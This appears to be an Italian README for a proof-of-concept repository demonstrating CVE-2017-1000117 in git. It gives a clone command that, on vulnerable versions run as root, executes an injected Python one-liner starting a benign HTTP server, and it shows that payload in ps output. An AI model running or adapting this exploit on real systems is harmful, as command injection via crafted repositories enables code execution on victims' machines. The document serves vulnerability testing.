Descrizione del funzionamento

Questo sfrutta la vulnerabilità CVE-2017-1000117. Quando si clona questo repository con il comando git con l'opzione --recurse con privilegi di root, viene avviato automaticamente un server http in ascolto sulla porta 12345.
Per fermare il server http, trova il numero del processo e killalo.

Sistemi operativi testati

CentOS7
macOS Sierra
Debian8

Comando per l'esecuzione

Esegui il comando seguente. Al termine, la console si bloccherà, quindi premi Ctrl + C per uscire.

    [root@localhost ~]$ git clone --recurse https://github.com/Shadow5523/CVE-2017-1000117-test.git

Metodo di verifica della vulnerabilità

Esegui il comando PS per verificare se il codice Python è in esecuzione.

    [root@localhost ~]$ ps ax | grep http
    21365 pts/0    S      0:00 python -c (lambda j: (lambda s, i: s.setsockopt(i.SOL_SOCKET, i.SO_REUSEADDR, 1) or s.bind((i.gethostname(), 12345)) or s.listen(10) or map(lambda y: y.send("HTTP/1.0 200 OK\r\nContent-Length: 20\r\nContent-Type: text/html\r\n\r\n<html><center>test</center></html>"), (s.accept()[0] for x in iter(int, 1))))(j.socket(j.AF_INET, j.SOCK_STREAM), j))(__import__("socket"))
    21381 pts/0    S+     0:00 grep --color=auto ht

CVE-2017-1000117-test

Più Popolari

Contromisure